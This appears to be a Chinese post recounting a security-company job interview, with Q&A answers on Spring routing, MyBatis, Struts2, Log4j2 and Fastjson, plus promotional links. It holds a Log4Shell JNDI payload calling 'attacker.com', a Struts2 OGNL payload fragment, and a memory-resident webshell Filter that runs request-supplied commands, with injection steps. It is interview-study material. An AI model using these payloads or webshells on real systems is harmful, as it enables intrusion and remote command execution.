25届春招奇安信2面。。。
《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
1 Spring Boot 路由表示方式
答案:
通过注解直接定义,如:
@GetMapping("/user/{id}")
public User getUser(@PathVariable String id) { ... }
2 其他路由表示方式
答案:
-
实现
WebMvcConfigurer
接口,重写addViewControllers()
。 -
旧版 Spring 使用
@RequestMapping
的method
属性(如method = RequestMethod.GET
)。
3 路由注解统称
答案:
统称为 请求映射注解(Request Mapping Annotations)。
4 Mybatis 映射文件存放位置
答案:
默认在 src/main/resources/mapper/
目录下,或通过 @MapperScan
指定包路径。
5 Struts2 相关经验
答案:
Struts2 漏洞多由 OGNL 表达式注入引起(如 S2-045)。需熟悉漏洞原理及 Payload 构造(如 %{#_memberAccess=...}
)。
6. Python 爬虫跳过 SSL 证书验证
答案:
使用 requests
库时设置 verify=False
,并禁用警告:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get("https://example.com", verify=False)
7. Log4j2 漏洞利用函数
答案:
关键函数为 lookup()
,通过 jndi:
协议触发 JNDI 注入。攻击 Payload:
${jndi:ldap://attacker.com/Exploit}
8. JNDI 注入配合的协议
答案:
-
RMI:动态加载远程类。
-
LDAP:指向恶意服务器返回 Exploit 代码。
-
DNS:用于信息泄露或探测漏洞存在性。
-
IIOP(CORBA):较少见,但可结合利用。
9. 通过 Fastjson 注入内存马
答案:
步骤:
-
利用 Fastjson 反序列化漏洞:构造恶意 JSON,触发 JNDI 注入。
-
加载内存马代码:远程类实现
ServletContainerInitializer
,在onStartup()
中注册 Filter。 - Filter 内存马示例:
public class EvilFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { // 执行任意命令 Runtime.getRuntime().exec(req.getParameter("cmd")); } }
-
持久化:通过反射将 Filter 添加到
FilterChain
,无需写入文件系统。